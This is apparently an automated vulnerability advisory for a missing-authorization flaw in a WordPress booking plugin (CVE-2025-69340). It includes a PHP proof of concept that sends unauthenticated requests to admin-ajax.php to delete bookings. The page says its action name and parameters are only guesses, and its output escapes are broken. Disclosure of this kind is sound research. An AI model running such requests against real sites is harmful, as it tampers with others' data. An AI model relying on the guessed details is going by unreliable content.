Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-69340: WeDesignTech Ultimate Booking Addon <= 1.0.3 – Missing Authorization (wedesigntech-ultimate-booking-addon)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 1.0.3
Patched Version
Disclosed February 24, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-69340 (metadata-based):
This vulnerability is a Missing Authorization flaw in the WeDesignTech Ultimate Booking Addon WordPress plugin, affecting all versions up to and including 1.0.3. The vulnerability allows unauthenticated attackers to perform an unauthorized action due to a missing capability check on a specific function.

Atomic Edge research infers the root cause is a WordPress AJAX or admin-post hook that lacks a proper authorization check. The CWE-862 classification indicates the plugin registers a function to handle a request but fails to verify the user’s capability or authentication state before execution. Without the source code, this conclusion is based on the common WordPress pattern for this CWE and the description of ‘unauthorized access’.

The exploitation method likely targets the WordPress admin-ajax.php or admin-post.php endpoint. An attacker can send a crafted HTTP POST request to this endpoint with an ‘action’ parameter corresponding to the vulnerable plugin hook. The payload would contain parameters that trigger the unauthorized action, such as modifying booking data or settings. The request would not require a valid nonce or user session cookie.

Remediation requires adding a proper capability check to the vulnerable function. The patch in version 1.0.4 likely added a call to `current_user_can()` or a similar WordPress function to verify the user has appropriate permissions. The fix may also have added a nonce check for state-changing operations, though the core issue is the missing authorization.

Successful exploitation allows an unauthenticated attacker to perform an unauthorized action. The CVSS vector indicates a low impact on integrity (I:L) with no effect on confidentiality or availability. This suggests the action could involve modifying plugin settings, creating or deleting booking entries, or altering booking-related data without permission.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69340 - WeDesignTech Ultimate Booking Addon <= 1.0.3 - Missing Authorization
<?php
/**
 * Proof of Concept for CVE-2025-69340.
 * This script demonstrates unauthorized action execution via a missing capability check.
 * The exact AJAX action name is inferred from the plugin slug and common patterns.
 * Assumptions: The vulnerable endpoint is /wp-admin/admin-ajax.php.
 * The vulnerable action parameter is based on the plugin slug.
 * The payload parameters are generic placeholders for the unauthorized action.
 */

$target_url = 'http://target-site.com/wp-admin/admin-ajax.php'; // CHANGE THIS

// The AJAX action name is inferred. Common patterns include plugin slug prefixes.
// We attempt a plausible action name based on the plugin slug.
$inferred_action = 'wedesigntech_ultimate_booking_addon_action';
// Alternative common pattern: 'wdtuba_action' or 'ultimate_booking_action'

// Data payload for the POST request.
// Specific parameters depend on the plugin's functionality (e.g., booking ID, setting name).
$post_data = array(
    'action' => $inferred_action,
    'operation' => 'delete', // Example unauthorized operation
    'booking_id' => '123',   // Example target ID
    // Other potential parameters for booking manipulation:
    // 'status' => 'cancelled',
    // 'date' => '2025-01-01',
    // 'setting' => 'disable_payments'
);

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output results
echo "Target: $target_urln";
echo "Action Parameter: $inferred_actionn";
echo "HTTP Status: $http_coden";
echo "Response: $responsen";

// Interpretation
if ($http_code == 200 && !strpos($response, '0')) {
    echo "Potential success. The unauthorized action may have been executed.n";
} else {
    echo "The request completed, but the action may have failed or the inferred action name is incorrect.n";
    echo "Further enumeration of AJAX action hooks is required.n";
}
?>

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